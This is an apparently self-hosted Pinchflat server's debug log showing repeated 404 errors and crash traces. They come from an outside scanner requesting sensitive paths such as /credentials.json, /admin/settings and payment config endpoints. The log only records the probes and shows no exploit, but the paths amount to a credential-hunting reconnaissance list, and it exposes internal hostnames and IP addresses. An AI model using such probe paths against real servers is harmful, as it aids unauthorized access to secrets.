request_path: "/api/stripe/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-y7QCx-_bXAAAQyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50112}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3423.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50112}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3424.0>, params: %{}, path_info: ["api", "stripe", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" (truncated) 21:08:45.078 [info] GET /api/payment/config 21:08:45.078 [debug] QUERY OK source="settings" db=0.1ms idle=126.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.079 [debug] QUERY OK source="settings" db=0.0ms idle=70.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.079 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.079 [error] #PID<0.3426.0> running PinchflatWeb.Endpoint (connection #PID<0.3425.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /api/payment/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50118}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3426.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/api/payment/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zBaM-i22dEAAQ0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50118}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/payment/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/payment/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50118}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3426.0>, params: %{}, path_info: ["api", "payment", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safar (truncated) 21:08:45.093 [info] GET /admin/config 21:08:45.093 [debug] QUERY OK source="settings" db=0.1ms idle=84.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.093 [debug] QUERY OK source="settings" db=0.0ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.094 [error] #PID<0.3428.0> running PinchflatWeb.Endpoint (connection #PID<0.3427.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /admin/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50124}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3428.0>, params: %{}, path_info: ["admin", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/admin/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zE9enBL9oMAAQ2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50124}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50124}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3428.0>, params: %{}, path_info: ["admin", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, (truncated) 21:08:45.160 [info] GET /admin/settings 21:08:45.160 [debug] QUERY OK source="settings" db=0.1ms idle=107.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.160 [debug] QUERY OK source="settings" db=0.0ms idle=81.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.161 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.161 [error] #PID<0.3430.0> running PinchflatWeb.Endpoint (connection #PID<0.3429.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /admin/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3429.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50130}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3430.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/admin/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-zU6I4ZnELAAAQ4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3429.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50130}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3429.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50130}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3430.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"connecti (truncated) 21:08:45.165 [info] GET /credentials.json 21:08:45.165 [debug] QUERY OK source="settings" db=0.1ms idle=86.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.165 [debug] QUERY OK source="settings" db=0.0ms idle=72.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.165 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.166 [error] #PID<0.3432.0> running PinchflatWeb.Endpoint (connection #PID<0.3431.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3431.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50132}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: 